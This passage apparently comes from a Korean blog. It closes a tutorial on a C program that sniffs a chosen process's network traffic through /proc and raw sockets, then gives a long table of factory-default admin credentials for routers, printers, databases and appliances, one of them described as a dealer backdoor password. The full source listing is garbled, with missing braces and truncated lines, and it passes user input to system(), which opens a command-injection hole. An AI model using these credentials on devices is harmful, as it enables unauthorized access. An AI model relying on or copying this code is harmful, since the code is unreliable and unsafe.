119 fputs(buf, fp);

120 }

121 }

122 printf("\n");

123 fputs("\n", fp);

124 }

125 }

126

127

128 void tcp_ftoa(int flag, char *str)

129 {

130 static char f[][3] = {"URG", "ACK", "PSH", "RST", "SYN", "FIN"}; //tcp플래그를 나타내는 문자

131 int length = 0;

132 u_int mask = 1 << 5;

133 int i;

134

135 for(i = 0;i<6;i++) {

136 if (((flag << i) & mask) != 0)

137 {

138 strncat(str, f[i], 3);

139 strncat(str, " ", 1);

140 }

141 else

142 {

143

144 }

145 }

146

147 length = strlen(str);

148 str[length] = '\0';

149

150 }

151

152

153

154 void print_ip(struct ip *ip, FILE *fp)

155 {

156 char buf[BUFSIZE];

157 printf("Protocol: IP\n");

158 sprintf(buf, "Protocol: IP\n");

159 fputs(buf, fp);

160 printf("+-------------------------+--------+----------------+\n");

161 sprintf(buf, "+-------------------------+--------+----------------+\n");

162 fputs(buf, fp);

163 printf("| Identifier: %5u| TTL:%3u| Checksum: %5u|\n",

164 ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

165 sprintf(buf, "| Identifier: %5u| TTL:%3u| Checksum: %5u|\n",

166 ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

167 fputs(buf, fp);

168 printf("+------------+------------+-------------------------+\n");

169 sprintf(buf, "+------------+------------+-------------------------+\n");

170 fputs(buf, fp);

171 printf("| Source IP Address: %15s|\n",

172 inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

173 sprintf(buf, "| Source IP Address: %15s|\n",

174 inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

175 fputs(buf, fp);

176 printf("+---------------------------------------------------+\n");

177 sprintf(buf, "+---------------------------------------------------+\n");

178 fputs(buf, fp);

179 printf("| Destination IP Address: %15s|\n",

180 inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

181 sprintf(buf, "| Destination IP Address: %15s|\n",

182 inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

183 fputs(buf, fp);

184 printf("+---------------------------------------------------+\n");

185 sprintf(buf, "+---------------------------------------------------+\n");

186 fputs(buf, fp);

187 }

1) 함수 요약 설명

- packetCapture : 소켓을 Ethernet 헤더부터 수신할 수 있는 옵션으로 오픈하고, 수신한 데이터를 각 헤더 별로 포인터 변수를 이용하여 분리합니다. Ip 헤더 포인터를 통해 ip를 체크하고, tcp 헤더 포인터를 통해 포트번호를 체크하여 print_ip, print_tcp, dump_packet 함수를 이용하여 각각의 헤더와 데이터 내용을 표준출력과 인자로 받은 파일포인터로 출력합니다. (파일명 예 :process_9553) – 숫자는 pid 나타냅니다.

- dump_packet : 16진수로 표현된 패킷의 데이터 버퍼의 내용을 ASCII 문자로 변환하여 표준출력과 인자로 받은 파일포인터로 출력합니다.

- tcp_ftoa : tcp 헤더 중에 제어 플래그 비트를 플래그 문자열로 변경합니다.

- print_ip : ip 구조체의 멤버변수를 표준출력과 파일 포인터로 출력합니다.

2) 소스 해설

1행 : packetCapture함수는 포트번호와 수신한 패킷 데이터를 저장할 파일 포인터를 인자로 받습니다.

19행 : 패킷의 Ethernet 헤더부터 수신 하기 위해 socket 함수에 SOCK_PACKET, ETH_P_ALL옵션을 매개변수로 대입합니다.

25행 : 오픈한 소켓을 통하여 데이터를 수신하여 buff에 저장합니다.

30행 : Ethernet 헤더 데이터부터 읽기 위해 buff의 선두 주소와 packetPointer 포인터를 일치시킵니다.

32행 : 현재 packetPointer 포인터 변수는 Ethernet 헤더 데이터를 가리키고 있기 때문에 ether_header 구조체 포인터로 캐스팅 하여ether_header 구조체 포인터인 eth 포인터 변수에 대입합니다.

33행 : Ethernet 헤더 다음에 위치한 ip 헤더 데이터를 가리키도록 하기 위해 ether_header 구조체 크기만큼 packetPointer 포인터를 이동시킵니다.

36행 : ethrnet 구조체 포인터인 eth의 타입이 ETHERTYPE_IP(IP타입)인지 확인한다. ip타입 이 외에 arp 타입인 경우도 있습니다.

37행 : 현재 packetPointer 포인터 변수는 ip 헤더 데이터를 가리키고 있기 때문에 ip 구조체 포인터로 캐스팅하여 ip 구조체 포인터인 ip포인터 변수에 대입합니다.

39행 : ip 헤더 다음에 위치한 tcp 헤더를 가리키도록 하기 위해 ip 헤더 길이만큼 포인터를 이동 시킵니다. Ip 헤더 길이는 ip 구조체의ip_hl 멤버 변수에 값을 4배 한 값입니다.

42행 ~ 43행 : ip 구조체 포인터인 ip의 프로토콜 타입이 TCP타입(IPPROTO_TCP)일 경우 현재 packetPointer 포인터 변수는 tcp 헤더 데이터를 가리키고 있기 때문에 tcphdr 구조체 포인터로 캐스팅하여 tcphdr 구조체 포인터인 tcp 포인터 변수에 대입합니다.

44행 ~ 54행 : tcphdr 구조체 포인터의 출발지 포트번호(th_sport)와 목적지 포트번호(th_dport)가 인자로 받은 모니터링 할 포트번호(portnum)와 일치하는지 확인합니다. 동일 포트번호를 담은 패킷 데이터이면 print_ip함수를 사용하여 ip헤더를 출력하고,print_tcp 함수를 사용하여 tcp헤더를 출력합니다. dump_packet 함수를 사용하여 수신받은 모든 버퍼의 내용을 16진수와 ASCII 값으로 표준출력과 파일 포인터로 출력합니다.

55행 ~ 56행 : ip 구조체 포인터인 ip의 프로토콜 타입이 UDP타입(IPPROTO_UDP)일 경우 현재 packetPointer 포인터 변수는 udp 헤더 데이터를 가리키고 있기 때문에 udphdr 구조체 포인터로 캐스팅하여 udphdr 구조체 포인터인 udp 포인터 변수에 대입합니다.

58행 ~ 67행 : udphdr 구조체 포인터의 출발지 포트번호(th_sport)와 목적지 포트번호(th_dport)가 인자로 받은 모니터링 할 포트번호(portnum)와 일치하는지 확인합니다. 동일 포트번호를 담은 패킷 데이터이면 print_ip함수를 사용하여 ip헤더를 출력하고,print_udp를 사용하여 udp헤더를 출력합니다. dump_packet 함수를 사용하여 수신받은 모든 버퍼의 내용을 16진수와 ASCII 값으로 표준출력과 파일 포인터로 출력합니다.

76행 : dump_packet 함수는 패킷 헤더와 데이터의 내용을 가리키고 있는 buff 포인터와 buff의 내용을 저장할 파일 포인터를 인자로 받습니다.

84행 ~ 123행 : 16바이트를 간격으로 수신한 데이터 크기만큼 Ethernet 헤더부터 데이터 내용까지 16진수와 ASCII 문자로 표준출력과 인자로 받은 파일 포인터로 출력합니다.

128행 : tcp_ftoa 함수는 tcp 헤더의 제어 플래그 비트 값과 제어 플래그 문자열을 저장할 문자열 포인터를 인자로 받습니다.

130행 : tcp 제어 플래그인 "URG", "ACK", "PSH", "RST", "SYN", "FIN" 문자열을 f배열에 저장합니다.

132행 : Tcp 제어 플래그는 6비트로 표현되기 때문에 6번째 비트를 기준으로 AND 마스크할 변수를 정의합니다.

135행 ~ 145행 : flag 변수를 0부터 5까지 왼쪽 쉬프트하여 mask 변수로 AND 마스크하면 어느 비트가 1로 세팅 되었는지 확인할 수 있습니다. 1로 세팅된 제어 플레그를 맵핑된 tcp플래그 문자열로 바꾸어 str 문자열 변수에 복사합니다.

154행 : print_ip 함수는 ip 구조체 포인터 변수와 ip헤더의 내용을 저장할 파일 포인터 변수를 인자로 받습니다.

163행 : ip헤더의 identifier, TTL, Checksum 내용을 ip 구조체의 멤버 변수를 통해 추출합니다. 각각의 데이터에는 ip구조체의 ip_id, ip_ttl, ip_sum 멤버 변수 값이 대입됩니다.

171행 ~ 179행 : ip헤더의 출발지 ip, 목적지 ip 내용을 ip구조체의 멤버 변수를 통해 추출합니다. 각각의 데이터에는 ip구조체의 ip_src, ip_dst 멤버변수 값이 대입됩니다.

3. 맺음말

지금까지 /proc 디렉토리에 담긴 정보를 분석, 이용하여 특정 프로세스가 사용 중인 포트 번호를 추출하는 방법과 socket 시스템 콜을 이용하여 TCP/IP 헤더와 실제 데이터를 분석하는 방법에 대해 공부하고, 실제 구현하는 방법까지 알아보았습니다. 본 프로그램은 /proc 디렉토리의 프로세스 정보와 네트워크 정보만을 다루었지만 /proc 디렉토리에는 시스템에 관련된 거의 대부분의 정보를 가지고 있기 때문에 시스템 모니터링 프로그램이나 시스템 성능 분석 프로그램 등을 개발하는데 유용하게 사용될 수 있습니다.

본 문서에서는 이와 유사한 프로그램을 만들기 위한 제작 과정을 소개하기 위한 목적으로 작성되었기 때문에 기능이 미약하고 불안전할 수도 있습니다. 문서에서 설명한 프로그램에 스니핑 된 패킷들의 데이터를 프로토콜, IP 주소 별로 분류하거나 기타 통계 기능 등을 추가한다면 더욱 유용하게 사용할 수 있을 것으로 생각합니다.

----------- 전체 소스코드 -----------

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#include <errno.h>

#include <ctype.h>

#include <string.h>

#include <netdb.h>

#include <dirent.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <net/ethernet.h>

#include <netinet/in_systm.h>

#include <netinet/in.h>

#define __FAVOR_BSD

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <netinet/tcp.h>

#include <netinet/udp.h>

#include <netinet/if_ether.h>

#include <arpa/inet.h>

#include <linux/sockios.h>

#define MAXSIZE 4096

#define BUFSIZE 128

void tcp_ftoa(int flag, char *str);

void print_ip(struct ip *ip, FILE *fp);

void print_tcp(struct tcphdr *tcp, FILE *fp);

void print_udp(struct udphdr *udp);

void dump_packet(unsigned char *buff, int len, FILE *fp);

int ProcParser(char *proc_file, char *proc_name);

int IsDigit(char *str);

int HexToDecimal(char *buffer);

int SockMapPort(char* ProcTcp, char* sockdevnum, unsigned short* processPortNum);

unsigned short FindPortNum(char* processID);

unsigned short FindProcInfo(char* process);

void packetCapture(unsigned short portnum, FILE *wfp);

void help(char *cmd);

int main(int argc, char **argv)

{

int c;

char data[BUFSIZE];

unsigned short portnum;

FILE *wfp;

while ((c = getopt(argc, argv, "i:p:")) != EOF) {

switch (c) {

case 'i':

portnum = FindProcInfo(argv[2]);

break;

case 'p' :

portnum = FindProcInfo(argv[2]);

break;

case 'h':

help(argv[0]);

default:

help(argv[0]);

exit(1);

break;

}

if(argc < 2) {

fprintf(stderr, "parameter errror!\n");

help(argv[0]);

exit(1);

}

sprintf(data, "process_%s", argv[2]);

if((wfp = fopen(data, "wa"))==NULL) {

perror("file open error\n");

exit(0);

}

packetCapture(portnum, wfp);

fclose(wfp);

return 0;

}

void tcp_ftoa(int flag, char *str)

{

static char f[][3] = {"URG", "ACK", "PSH", "RST", "SYN", "FIN"};

int length = 0;

u_int mask = 1 << 5;

int i;

for(i = 0;i<6;i++) {

if (((flag << i) & mask) != 0)

{

strncat(str, f[i], 3);

strncat(str, " ", 1);

}

length = strlen(str);

str[length] = '\0';

}

void print_ip(struct ip *ip, FILE *fp)

{

char buf[BUFSIZE];

printf("Protocol: IP\n");

sprintf(buf, "Protocol: IP\n");

fputs(buf, fp);

printf("+-------------------------+--------+----------------+\n");

sprintf(buf, "+-------------------------+--------+----------------+\n");

fputs(buf, fp);

printf("| Identifier: %5u| TTL:%3u| Checksum: %5u|\n",

ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

sprintf(buf, "| Identifier: %5u| TTL:%3u| Checksum: %5u|\n",

ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

fputs(buf, fp);

printf("+------------+------------+-------------------------+\n");

sprintf(buf, "+------------+------------+-------------------------+\n");

fputs(buf, fp);

printf("| Source IP Address: %15s|\n",

inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

sprintf(buf, "| Source IP Address: %15s|\n",

inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

fputs(buf, fp);

printf("+---------------------------------------------------+\n");

sprintf(buf, "+---------------------------------------------------+\n");

fputs(buf, fp);

printf("| Destination IP Address: %15s|\n",

inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

sprintf(buf, "| Destination IP Address: %15s|\n",

inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

fputs(buf, fp);

printf("+---------------------------------------------------+\n");

sprintf(buf, "+---------------------------------------------------+\n");

fputs(buf, fp);

}

void print_tcp(struct tcphdr *tcp, FILE *fp)

{

char buf[BUFSIZE];

char str[17];

memset(str, 0, sizeof(str));

printf("protocol: TCP\n");

sprintf(buf, "protocol: TCP\n");

fputs(buf, fp);

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

fputs(buf, fp);

printf("| Source Port: %5u| Destination Port: %5u|\n",

ntohs(tcp->th_sport), ntohs(tcp->th_dport));

sprintf(buf, "| Source Port: %5u| Destination Port: %5u|\n",

ntohs(tcp->th_sport), ntohs(tcp->th_dport));

fputs(buf, fp);

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

fputs(buf, fp);

printf("| Sequence Number: %10lu|\n",

(u_long)ntohl(tcp->th_seq));

sprintf(buf, "| Sequence Number: %10lu|\n",

(u_long)ntohl(tcp->th_seq));

fputs(buf, fp);

printf("+---------------------------------------------------+\n");

sprintf(buf, "+---------------------------------------------------+\n");

fputs(buf, fp);

tcp_ftoa(tcp->th_flags, str);

printf("| Ack Number: %10lu| Flag: %10s|\n",

(u_long)ntohl(tcp->th_ack), str);

sprintf(buf, "| Ack Number: %10lu| Flag: %10s|\n",

(u_long)ntohl(tcp->th_ack), str);

fputs(buf, fp);

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

fputs(buf, fp);

printf("| Checksum: %5u| Urgent Pointer: %5u|\n",

ntohs(tcp->th_sum), ntohs(tcp->th_urp));

sprintf(buf, "| Checksum: %5u| Urgent Pointer: %5u|\n",

ntohs(tcp->th_sum), ntohs(tcp->th_urp));

fputs(buf, fp);

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

fputs(buf, fp);

}

void print_udp(struct udphdr *udp)

{

printf("Protocol: UDP\n");

printf("+-------------------------+-------------------------+\n");

printf("|Source Port: %5u| Dest Port: %5u|\n",

ntohs(udp->uh_sport), ntohs(udp->uh_dport));

printf("+-------------------------+-------------------------+\n");

printf("|Length: %5u| Ckecksum: %5u|\n",

ntohs(udp->uh_ulen), ntohs(udp->uh_sum));

printf("+-------------------------+-------------------------+\n");

}

void dump_packet(unsigned char *buff, int len, FILE *fp)

{

int i, j;

char buf[BUFSIZE];

printf("Packet Dump:\n");

sprintf(buf, "Packet Dump\n");

fputs(buf, fp);

for (i = 0; i < len; i += 16) {

for (j = i; j < i + 16 && j < len; j++) {

printf("%02x", buff[j]);

sprintf(buf, "%02x", buff[j]);

fputs(buf, fp);

if (j % 2 == 1){

printf(" ");

sprintf(buf, " ");

fputs(buf, fp);

}

if (j == len && len % 16 != 0)

for (j = 0; j < 40 - (len % 16)*2.5; j++){

printf(" ");

sprintf(buf, " ");

fputs(buf, fp);

}

printf(": ");

sprintf(buf, ": ");

fputs(buf, fp);

for (j = i; j < i + 16 && j < len; j++) {

if ((buff[j] >= 0x20) && (buff[j] <= 0x7e)){

putchar(buff[j]);

sprintf(buf, "%c", buff[j]);

fputs(buf, fp);

}

else{

printf(".");

sprintf(buf, ".");

fputs(buf, fp);

}

printf("\n");

fputs("\n", fp);

}

void help(char *cmd)

{

fprintf(stderr, "usage: %s [-i processid] [-p processname] \n", cmd);

}

void packetCapture(unsigned short portnum, FILE *wfp)

{

struct ether_header *eth;

struct ether_arp *arp;

struct ip *ip;

struct icmp *icmp;

struct tcphdr *tcp;

struct udphdr *udp;

int s;

int len;

int c;

char buff[MAXSIZE];

char *packetPointer;

char *packetFirst;

char buf[BUFSIZE];

int i;

char data[BUFSIZE];

if ((s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {

perror("socket");

exit(1);

}

while (1){

if ((len = read(s, buff, MAXSIZE)) < 0) {

perror("read");

exit(1);

}

packetPointer = packetFirst = buff;

eth = (struct ether_header *) packetPointer;

packetPointer = packetPointer + sizeof (struct ether_header);

printf("ether : %d\n", sizeof(struct ether_header));

if (ntohs(eth->ether_type) == ETHERTYPE_IP) {

ip = (struct ip *) packetPointer;

printf("ip : %d\n", sizeof(struct ip));

packetPointer = packetPointer + ((int)(ip->ip_hl) << 2);

switch (ip->ip_p) {

case IPPROTO_TCP:

tcp = (struct tcphdr *) packetPointer;

if((portnum == ntohs(tcp->th_sport))

|| (portnum == ntohs(tcp->th_dport))){

cketPointer = packetPointer + ((int)(tcp->th_off) << 2);

print_ip(ip, wfp);

print_tcp(tcp, wfp);

dump_packet(packetFirst, len, wfp);

printf("\n");

sprintf(buf, "\n");

fputs(buf, wfp);

fflush(stdout);

}

break;

case IPPROTO_UDP:

udp = (struct udphdr *) packetPointer;

if((portnum == ntohs(udp->uh_sport))

|| (portnum == ntohs(udp->uh_dport))){

print_ip(ip, wfp);

print_udp(udp);

dump_packet(packetFirst, len, wfp);

printf("\n");

sprintf(buf, "\n");

fputs(buf, wfp);

fflush(stdout);

}

break;

}

int ProcParser(char *proc_file, char *proc_name)

{

FILE *fp;

char buf[512] = {0x00,};

int pid;

char *pname;

fp = fopen(proc_file, "r");

if (fp == NULL)

{

perror("error : ");

exit(0);

}

fgets(buf, 511, fp);

pid = atoi(strtok(buf, " "));

pname = (char*)strtok(NULL, " ");

if(strncmp(pname, proc_name, strlen(proc_name)))

{

return 0;

}

else

{

return 1;

}

fclose(fp);

}

int IsDigit(char *str)

{

int i;

for (i = 0; i < strlen(str); i++)

{

if (isdigit(str[i])==0)

return 0;

}

return 1;

}

int HexToDecimal(char *buffer)

{

int count=0, decimal=0;

for(count =0;count<4;count++)

{

if(buffer[count]>='0' && buffer[count]<='9')

{

decimal *= 16;

decimal += buffer[count] - '0';

}

else if(buffer[count]>='A' && buffer[count]<='F')

{

decimal *= 16;

decimal += buffer[count] - 'A' + 10;

}

return decimal;

}

int SockMapPort(char* ProcTcp, char* sockdevnum, unsigned short* processPortNum)

{

DIR *directory;

struct dirent *entry = NULL;

char buffer[256];

char *parsing;

char hexPortNum[40];

int culcount;

int linecount;

int find;

FILE *fp;

culcount = linecount = find = 0;

fp = fopen(ProcTcp, "r");

if (fp == NULL)

{

perror("/proc/net/tcp(6) error");

exit(0);

}

linecount = 0;

while(fgets(buffer,256, fp) != NULL)

{

if(linecount == 0)

{

linecount++;

continue;

}

culcount = 0;

parsing = strtok(buffer, ": ");

while((parsing = strtok(NULL, ": ")) != NULL)

{

if(culcount == 1)

{

strcpy(hexPortNum, parsing);

}

if(!strncmp(parsing, sockdevnum, strlen(sockdevnum)))

{

find = 1;

break;

}

else

{

}

culcount++;

}

if(find) break;

}

if(find){

*processPortNum = HexToDecimal(hexPortNum);

return 1;

}

else

return 0;

}

unsigned short FindPortNum(char* processID)

{

DIR *directory;

struct dirent *entry = NULL;

char procBuff[40];

char sockBuff[40];

char retBuff[40];

char *sockdev;

char *sockdevnum;

char ProcTcp[20];

int ret;

unsigned short processPortNum;

sprintf(procBuff,"/proc/%s/fd", processID);

if ((directory = opendir(procBuff)) == NULL)

{

perror("/proc opendir error");

exit(0);

}

while((entry = readdir(directory)) != NULL)

{

if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0

&& strcmp(entry->d_name, "0") != 0 && strcmp(entry->d_name, "1") !=0

&& strcmp(entry->d_name, "2") != 0)

{

sprintf(sockBuff,"/proc/%s/fd/%s", processID, entry->d_name);

readlink(sockBuff, retBuff, sizeof(retBuff));

sockdev = strtok(retBuff, ":[");

if(strcmp(sockdev, "socket"))

continue;

sockdevnum = strtok(NULL, ":[]");

break;

}

sprintf(ProcTcp, "/proc/net/tcp");

ret = SockMapPort(ProcTcp, sockdevnum, &processPortNum);

if(ret == 0)

{

sprintf(ProcTcp, "/proc/net/tcp6");

SockMapPort(ProcTcp, sockdevnum, &processPortNum);

}

closedir(directory);

return processPortNum;

}

unsigned short FindProcInfo(char* process)

{

DIR *directory;

struct dirent *entry = NULL;

char proc_file[40];

char proc_name[20];

int processFlag = 0;

unsigned short port;

if (IsDigit(process))

{

processFlag = 1;

}

else

{

sprintf(proc_name, "(%s)", process);

}

if(processFlag == 0)

{

system(process);

if ((directory = opendir("/proc")) == NULL)

{

perror("/proc opendir error");

exit(0);

}

while((entry = readdir(directory)) != NULL)

{

if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0)

{

sprintf(proc_file,"/proc/%s/stat", entry->d_name);

if (access(proc_file, F_OK) != 0)

{

continue;

}

if (IsDigit(entry->d_name))

{

if(ProcParser(proc_file, proc_name))

{

port = FindPortNum(entry->d_name);

printf("processName : %s\nport : %d\n", process, port);

break;

}

else

{

}

closedir(directory);

}

else

{

port = FindPortNum(process);

printf("processID : %s\nport : %d\n", process, port);

}

return port;

}

저작자표시 비영리 변경금지

'Neywork' 카테고리의 다른 글

SSL 통신 암호화 과정 (0)	2015.07.28
reverse connection cheat sheet (0)	2015.04.17
Network vender Model default password (0)	2014.01.02
윈도우8 애드훅(애드혹, AdHoc) 설정하기 (0)	2013.09.11
IPTIME 해킹 관련 내용 1 (0)	2012.07.17

Posted by k1rha

2014. 1. 2. 10:58

Network vender Model default password

Neywork

Vendor

Model

Version

Access Type

Username

Password

Privileges

Notes

Deutsch Telekomm	T-Sinus 130 DSL		HTTP	(none)	0	Admin
inchon	inchon	inchon	Multi	admin	admin	Admin	inchon
Benq	awl 700 wireless router	1.3.6 Beta-002	Multi	admin	admin	Admin
Konica/ Minolta	Di 2010f	n/a	HTTP	n/a	0	Admin	Printer configuration interface
Sybase	EAServer		HTTP	jagadmin	(none)	Admin	Source : Manufactor documentation
Logitech	Logitech Mobile Headset		Bluetooth	(none)	0	audio access	Thierry Zoller (Thierry@sniff-em.com)
Cisco	Ciso Aironet 1100 series	Rev. 01	HTTP	(none)	Cisco	Admin
HP	ISEE		Multi	admin	isee	Admin
IBM	3583 Tape Library		HTTP	admin	secure	Admin
Asus	wl503g	All	HTTP	admin	admin	Admin
Asus	wl500	All	HTTP	admin	admin	Admin
Asus	wl300	All	HTTP	admin	admin	Admin
Sigma	Sigmacoma IPshare	Sigmacom router v1.0	HTTP	admin	admin	Admin	effes2004@gmail.com
Ricoh	Aficio 2228c		Multi	sysadmin	password	Admin	Webpage admin
Linksys	WAP54G	2	HTTP	(none)	admin	Admin
Westell	Wirespeed		Multi	admin	password	Admin	also try password: sysAdmin
Konica Minolta	magicolor 2430DL	All	Multi	(none)	(none)	Admin	Taken from reference manual for product
KTI	KS-2260		Telnet	superuser	123456	special CLI	can be disabled by renaming the regular login name to superuser
Oracle	Oracle RDBMS	Any	Multi	system/manager	sys/change_on_install	Admin
Infosmart	SOHO router		HTTP	admin	0	Admin
Pansonic	KXTD1232		Multi	admin	1234	Admin
Areca	RAID controllers		Console	admin	0	Admin
Avaya	Definity		Multi	dadmin	dadmin01	Admin
Allied Telesyn	ALAT8326GB		Multi	manager	manager	Admin
Sun	Cobalt		HTTP	admin	admin	Admin	submit by Nabil Ouchn
iblitzz	BWA711/All Models	All	HTTP	admin	admin	Admin	This Information Works On All Models Of The Blitzz Line
Netgear	dg834g		HTTP	admin	password	Admin	it should be work also with dg834gt
E-Con	Econ DSL Router		Router	admin	epicrouter	Admin	DSL Router
Allied Telesyn	AT8016F		Console	manager	friend	Admin
Dell	Laser Printer 3000cn / 3100cn		HTTP	admin	password	Admin
Sonic-X	SonicAnime	on	Telnet	root	admin	Admin	1.01E+14
Siemens	SpeedStream 4100		HTTP	admin	hagpolm1	Admin	DSL Modem and Router
Wanadoo	Livebox		Multi	admin	admin	Admin
Pirelli	Pirelli AGE-SB		HTTP	admin	smallbusiness	Admin
McData	FC Switches/Directors		Multi	Administrator	password	Admin
BBR-4MG and BBR-4HG	BUFFALO	ALL	HTTP	root	n/a	Admin
Swissvoice	IP 10S		Telnet	target	password	Admin
creative	2015U		Multi	n/a	(none)	Admin
Tandberg Data	DLT8000 Autoloader 10x		Console	n/a	10023	Maintenance
IBM	Infoprint 6700	http://www.phenoelit.de/dpl/dpl.html	Multi	root	(none)	Admin	Also works for older 4400 printers and probably Printronics equivalents as well.
ASUS	WL-500G	1.7.5.6	HTTP	admin	admin	Admin
Phoenix v1.14	Phoenix v1.14		Multi	Administrator	admin	Admin
asus	WL500g		HTTP	admin	admin	Admin
Symbol	AP-2412		Multi	n/a	Symbol	Admin	2Mbps FH AccessPoint
Symbol	AP-3020		Multi	n/a	Symbol	Admin	2Mbps FH AccessPoint
Symbol	AP-4111		Multi	n/a	Symbol	Admin	11Mbps DS AccessPoint
Symbol	AP-4121		Multi	n/a	Symbol	Admin	11Mbps DS AccessPoint
Symbol	AP-4131		Multi	n/a	Symbol	Admin	11Mbps DS AccessPoint
telindus	telindus	2002	Telnet	admin	admin	Admin
us robotic	adsl gateway wireless router		wireless router	support	support	super user access	I find it on a manual
D-Link	Dsl-300g+	Teo	Telnet	(none)	private	Admin
D-Link	DSL-300g+	Teo	HTTP	admin	admin	Admin
Billion	BIPAC-640 AC	640AE100	HTTP	(none)	(none)	Admin
Blue Coat Systems	ProxySG	3.x	HTTP	admin	articon	Admin	access to command line interface via ssh and web gui
KTI	KS2600		Console	admin	123456	Admin
KTI	KS2260		Console	admin	123	Admin
Exabyte	Magnum20		FTP	anonymous	Exabyte	Admin
Sorenson	SR-200		HTTP	(none)	admin	Admin
D-Link	DI-524	all	HTTP	admin	(none)	Admin	http://192.168.0.1
McAfee	SCM 3100	4.1	Multi	scmadmin	scmchangeme	Admin
Zebra	10/100 Print Server		Multi	admin	1234	Admin
apple	airport5	1.0.09	Multi	root	admin	Admin	192.168.1.1
Xerox	DocuCentre 425		HTTP	admin	22222	Admin	works for access panel 2
NOKIA	7360		Multi	(none)	9999	Admin
Advantek Networks	Wireless LAN 802.11 g/b		Multi	admin	(none)	Admin	http://www.advanteknetworks.com/
ZyXEL	Prestige 900		HTTP	webadmin	1234	Admin	192.168.1.1:8080
LG	Aria iPECS	All	Console	(none)	jannie	maintenance	dealer backdoor password
Corecess	6808 APC		Telnet	corecess	corecess	User
NRG or RICOH	DSc338 Printer	1.19	HTTP	(none)	password	Admin	no user
Xerox	Document Centre 405	-	HTTP	admin	admin	Admin
Proxim	Orinoco 600/2000	All	HTTP	(none)	(none)	Admin	WLAN accesspoint
SMC	Router/Modem	BR7401	Multi	admin	barricade	Admin
Netgear	Router/Modem		Multi	admin	password	Admin
Nullsoft	Shoutcast	01/09/2005	PLS	admin	changeme	Admin
Conexant	Router		HTTP	n/a	epicrouter	Admin
Network Everywhere	NWR11B		HTTP	(none)	admin	Admin
Netgear	MR314		Multi	admin	1234	Admin
Aethra	Starbridge EU		HTTP	admin	password	Admin
Milan	mil-sm801p		Multi	root	root	Admin
cisco	2600		Telnet	Administrator	admin	Admin
giga	8ippro1000		Multi	Administrator	admin	Admin
Netgear	GSM7224		HTTP	admin	(none)	Admin
Gericom	Phoenix		Multi	Administrator	(none)	Admin
Bausch Datacom	Proxima PRI ADSL PSTN Router4 Wireless		Multi	admin	epicrouter	Admin
Sun Microsystems	ILOM of X4100	1	HTTP	root	changeme	Admin
dlink	adsl		HTTP	admin	admin	Admin
Conexant	Router		HTTP	n/a	admin	Admin	yes
Edimax	ES-5224RXM		Multi	admin	123	Admin
IronPort	Messaging Gateway Appliance		Multi	admin	ironport	Admin
3com	812		HTTP	Administrator	admin	Admin
Asante	FM2008		Multi	admin	asante	Admin
Broadlogic	XLT router		HTTP	webadmin	webadmin	Admin
Broadlogic	XLT router		Telnet	admin	admin	Admin
Broadlogic	XLT router		Telnet	installer	installer	Admin
Cisco	Aironet		Multi	(none)	_Cisco	Admin
Cisco	Aironet		Multi	Cisco	Cisco	Admin
Cisco	HSE		Multi	root	blender	Admin
Cisco	HSE		Multi	hsa	hsadb	Admin
Cisco	WLSE		Multi	root	blender	Admin
Cisco	WLSE		Multi	wlse	wlsedb	Admin
Digicom	Michelangelo		Multi	admin	michelangelo	Admin
Digicom	Michelangelo		Multi	user	password	User
Enterasys	Vertical Horizon	VH-2402S	Multi	tiger	tiger123	Admin
Pentaoffice	Sat Router		Telnet	(none)	pento	Admin
Pirelli	AGE ADSL Router		Multi	admin	microbusiness	Admin
Pirelli	AGE ADSL Router		Multi	user	password	User
System/32	VOS		Multi	install	secret	Admin
Tandem	TACL		Multi	super.super	(none)	Admin
Tandem	TACL		Multi	super.super	master	Admin
VxWorks	misc		Multi	admin	admin	Admin
VxWorks	misc		Multi	guest	guest	Guest
Wang	Wang		Multi	CSG	SESAME	Admin
Westell	Wang		Multi	CSG	SESAME	Admin
Westell	Wirespeed wireless router		Multi	admin	sysAdmin	Admin
3COM	CoreBuilder	7000/6000/3500/2500	Telnet	n/a	admin	Admin
CNET	CNET 4PORT ADSL MODEM	CNAD NF400	Multi	admin	epicrouter	Admin
SMC	SMCWBR14-G	SMCWBR14-G	HTTP	(none)	smcadmin	Admin
asmack	router	ar804u	HTTP	admin	epicrouter	Admin
JAHT	adsl router	AR41/2A	HTTP	admin	epicrouter	Admin
D-Link	firewall	dfl-200	HTTP	admin	admin	Admin
ovislink	WL-1120AP		Multi	root	(none)	Admin
Linksys	WRT54G	All Revisions	HTTP	(none)	admin	Admin
canyon	router		Multi	Administrator	admin	Admin
3COM	CoreBuilder	7000/6000/3500/2500	Telnet	n/a	(none)	Admin
Kalatel	Calibur DSR-2000e		Multi	n/a	3477	Admin
Kalatel	Calibur DSR-2000e		on-screen menu system	n/a	8111	restore factory defaults
IBM	T20		Multi	n/a	admin	Admin
3com	officeconnect		Multi	admin	(none)	Admin
3com	office connect	11g	Multi	admin	(none)	User
Asus	WL500g Deluxe		HTTP	admin	admin	Admin
IBM	IBM		Multi	n/a	(none)	Admin
Pentagram	Cerberus ADSL modem + router		HTTP	admin	password	Admin
